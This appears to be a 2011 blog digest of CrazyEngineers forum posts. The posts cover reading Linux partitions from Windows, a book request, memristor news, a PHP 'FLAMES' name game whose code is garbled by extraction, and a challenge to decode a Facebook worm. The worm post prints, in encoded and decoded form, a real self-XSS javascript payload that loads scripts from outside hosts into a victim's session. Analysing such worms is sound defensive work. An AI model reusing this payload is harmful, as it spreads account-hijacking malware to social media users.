Tuesday, May 17, 2011

CrazyEngineers Forum - Computer Science & IT Engineering

CrazyEngineers Forum - Computer Science & IT Engineering


How to View and Open Linux Files in Windows

Posted: 16 May 2011 10:27 PM PDT

We're all aware that Linux system files can't be viewed through Windows. But with the current distro's of Linux now, you have the ability to view and navigate all the files and folder on your windows partition without having any technical issues.

The freeware is called DiskInternals Linux Reader. It is not a driver nor it does not integrate with your Windows Explorer. It is a complete viewer of ext2/ext3 of Linux from Windows and it resembles the look of the native Windows Explorer. Saving on that partition is prohibited to ensure Linux's stability. But why did I say that you can open the file too? Well basically, you can actually copy the file from the viewer and paste it in your Windows partition, that simple. You don't have to worry putting it back coz Linux can read your Windows partition.

Another freeware is Ext2 IFS for Windows, that provides Windows NT4.0/2000/XP/2003 with full access to Linux Ext2 volumes (read access and write access). This may be useful if you have installed both Windows and Linux as a dual boot environment on your computer. It works and can be accessed with your native Windows Explorer. Highly Recommended!

Hope this helps someone!!! :)

Data structures Books Suggestion

Posted: 16 May 2011 07:36 PM PDT

please suggest a good book for data structures using c

Memristor - Memory Resistor: Intelligent Computers

Posted: 16 May 2011 06:40 PM PDT

Computers that mimic the human brain in the way they process data have moved a step closer to reality thanks to new research from the US.

Read more: 'Memristor' could one day mimic complex brain neurons | News | The Engineer

Why linux document's are not accessible from login window server ?

Posted: 16 May 2011 09:41 AM PDT

Hello friend's
Currently i am using two os's one is linux and the second one is win-xp.
While i login on linux i can able to access the window xp documents.But when i switch over to xp i can't able to access the files of linux.

What is the reason behind this ?

[CHALLENGE] Facebook javascript worm decoding.

Posted: 16 May 2011 02:56 AM PDT

Here is another worm making the rounds of facebook. Got it this morning from a friend. I think most of you must have seen it too.

It is a post on your wall from a friend reading:

"OMG!! <firstname> why are you tagged in this vid"

A video is posted below that.



After Clicking on the video, it reveals:

"Select Address bar and press Ctrl+V."

When the user does that this code is pasted on the address bar:

Code:

javascript:(function()%7Bfunction%20s(src)%7Bvar%20script%20%3D%20document.createElement(%22script%22)%3Bscript.src%20%3D%20src%3Bdocument.body.appendChild(script)%3B%7Dvar%20rand%20%3D%20Math.floor(Math.random()*(100))%3Bs(%22http%3A%2F%2Fvideosurge.info%2Fverify.js%22)%3B%20if(rand%20%3C%3D%2025)%20s(%22http%3A%2F%2Fvideosurge.info%2Fconfig.js%22)%3Belse%20s(%22http%3A%2F%2Fbanfish.info%2Fconfig.js%22)%3B%7D)()%3B

After replacing the URL Escape codes:

Code:

javascript:(function(){
function s(src){
var script = document.createElement("script");
script.src = src;
document.body.appendChild(script);
}

var rand = Math.floor(Math.random()*(100));
s("http://videosurge.info/verify.js");
 if(rand <= 25) s("http://videosurge.info/config.js");
 else s("http://banfish.info/config.js");
 })
();


http://videosurge.info/verify.js Code:

Code:

function include(filename, cb)
{
        var head = document.getElementsByTagName('head')[0];
       
        script = document.createElement('script');
        script.src = filename;
        script.type = 'text/javascript';
        script.onload = cb;
        head.appendChild(script)
}


include("http://widgets.amung.us/small.js", function(){
        WAU_small('dkz2a5lyiuwb');
       
});

PHP Version of FLAMES Ready!

Posted: 16 May 2011 12:52 AM PDT

Hey guys... As discussed at http://www.crazyengineers.com/forum/...ames-code.html the code for Flames using PHP is ready! :)

PHP Version of the same is ready... :)

PHP Code:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <title>Flames by Praveen</title>
    <style type="text/css">
        body, input {font-family: candara, tahoma; font-size: 12px; width: 150px;}
        form div {margin: 5px;}
    </style>
</head>

<body>
<?php
    $flames 
= array(
        
"F" => "Friends",
        
"L" => "Lovers",
        
"A" => "Affectionate",
        
"M" => "Married",
        
"E" => "Enemies",
        
"S" => "Siblings"
    
);
    if(isset(
$_GET["names"]))
        if(
count($_GET["names"])==2)
        {
            
$n1 strtoupper(str_replace(" """$_GET["names"][0]));
            
$n2 strtoupper(str_replace(" """$_GET["names"][1]));
            if(
$n1 == $n2)
                echo 
"<div>Both the names are same!</div>";
            else
            {
                for(
$i 0$i strlen($n1); $i++)
                {
                    if(isset(
$n1[$i]))
                        for(
$j 0$j strlen($n1); $j++)
                            if(isset(
$n2[$j]))
                                if(
$n1[$i] == $n2[$j])
                                 {
                                     
$n1[$i] = $n2[$j] = "/";
                                     break;
                                 }
                }
                
$n1 str_replace("/"""$n1);
                
$n2 str_replace("/"""$n2);
                
$count strlen($n1) + strlen($n2);
                
$flame "FLAMES";
                echo 
"<div>";
                while(
strlen($flame)!=1)
                {
                    
$flame[$count%strlen($flame)] = "/";
                    
$flame str_replace("/"""$flame);
                }
                echo 
"You both are <strong>" $flames[$flame] . "</strong></div>";
            }
        }
        else ;
    else
    {
?>
    <form method="get" action="">
        <div>Enter the Names</div>
        <div><input type="text" name="names[]" /></div>
        <div><input type="text" name="names[]" /></div>
        <div><input type="submit" value="Get Relation" /></div>
    </form>
<?php ?>
</body>
</html>

No comments:

Post a Comment